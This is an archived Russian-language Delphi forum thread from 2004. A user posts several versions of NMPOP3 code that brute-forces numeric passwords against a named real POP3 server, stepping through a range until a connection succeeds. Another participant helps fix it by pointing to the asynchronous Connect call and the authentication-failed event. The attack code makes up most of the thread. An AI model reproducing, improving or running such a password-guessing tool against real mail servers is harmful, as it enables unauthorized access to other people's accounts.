Форум: "Сети";
Текущий архив: 2004.12.19;
Скачать: [xml.tar.bz2];
ВнизПроблема с NMPOP3.Connected Найти похожие ветки
← →
The X (2004-10-07 10:59) [0]Есть следующий фрагмент кода для подбора пассворда по NMPOP3.
Проблема в том, что когда подставляется верный пароль к серваку (я его знаю), то цикл процедуры не останавливается, т.е. не проходит проверка на Connected.
var i:integer;
label l;
begin
nmpop31.Host:="nec-fs2.energy.gov.ua";
nmpop31.UserID:=edit1.text;
i:=strtoint(edit3.text);
l:label1.caption:=inttostr(i);
if not nmpop31.Connected then
begin
nmpop31.Password:=inttostr(i);
try
nmpop31.Connect;
except
on esockerror do
messagebeep(0);
end;
if i<strtoint(edit2.text) then
begin
inc(i);
goto l;
end
else
Exit;
end
else
showmessage("!!!!!!!!!!!!"); //типа верный пароль получен
end;
← →
Reindeer Moss Eater © (2004-10-07 12:16) [1]Видимо потому что метод Connect - асинхронный
← →
The X (2004-10-07 13:48) [2]Reindeer Moss Eater
Можно поподробнее?
← →
Reindeer Moss Eater © (2004-10-07 13:54) [3]Возврат из вызова Connect происходит до того, как будет установлено само соединение.
← →
The X (2004-10-07 14:07) [4]Установить таймер?
← →
The X (2004-10-07 14:07) [5]Может какой-нить рефреш есть?
← →
The X (2004-10-07 14:08) [6]может в виде паузы?
← →
Reindeer Moss Eater © (2004-10-07 14:11) [7]Установить таймер?
Может какой-нить рефреш есть?
может в виде паузы?
А может лучше на вкладку Events инспектора объектов заглянуть?
← →
The X (2004-10-07 14:12) [8]Reindeer Moss Eater
большое сенкс! 8-)
← →
The X (2004-10-07 14:34) [9]Reindeer Moss Eater
Прошу прощения, никак не могу догнать некоторых вещей.
Смотрите, указываю явно диапазон перебора, на кнопку вешаю передачу текущего пароля в компонент и вызываю коннект без никаких защищенных блоков. При этом в OnAuthentificationFailed указываю inc(i) (i - глобальная по всему модулю) и дальше вызываю опять Button.Click. Не получается - ошибки типа AccessViolation при попытке подключиться даже при первой попытке.
Что посоветуете?
← →
Reindeer Moss Eater © (2004-10-07 14:40) [10]Без кода трудно что либо сказать.
Но советую обратить внимание на параграф Description в справке по OnAuthentificationFailed.
← →
The X (2004-10-07 15:15) [11]Текущий код
procedure TForm1.Button1Click(Sender: TObject);
begin
nmpop31.Host:="nec-fs2.energy.gov.ua";
nmpop31.UserID:=edit1.text;
i:=strtoint(edit3.text);
label1.caption:=inttostr(i);
if not nmpop31.Connected then
begin
nmpop31.Password:=inttostr(i);
nmpop31.Connect;
end;
end;
procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
if i<strtoint(edit2.text) then
begin
inc(i);
Button1.Click;
end
else
Exit;
end;
ЗЫ. Параллельно разбираюсь со справкой.
← →
The X (2004-10-07 15:28) [12]Вот самый последний исправленный вариант с дескриптором по Handled. При нем сразу же после OnAuthentificationFailed возвращается ошибка "10054 Connection reset by peer" и не проходит воторой цикл подсоединения с уже новым паролем с пом. Handled:=true.
procedure TForm1.Button1Click(Sender: TObject);
begin
NMPOP31.Host := "nec-fs2.energy.gov.ua";
NMPOP31.UserID := Edit1.Text;
i := StrToInt(Edit3.Text);
Label1.Caption := IntToStr(i);
if not NMPOP31.Connected then
begin
NMPOP31.Password := IntToStr(i);
NMPOP31.Connect;
end;
end;
procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
if i < StrToInt(Edit2.Text) then
begin
inc(i);
Label1.Caption := IntToStr(i);
NMPOP31.Password := IntToStr(i);
Handled := True;
end
else
Handled := False;
end;
Страницы: 1 вся ветка
Форум: "Сети";
Текущий архив: 2004.12.19;
Скачать: [xml.tar.bz2];
Память: 0.47 MB
Время: 0.038 c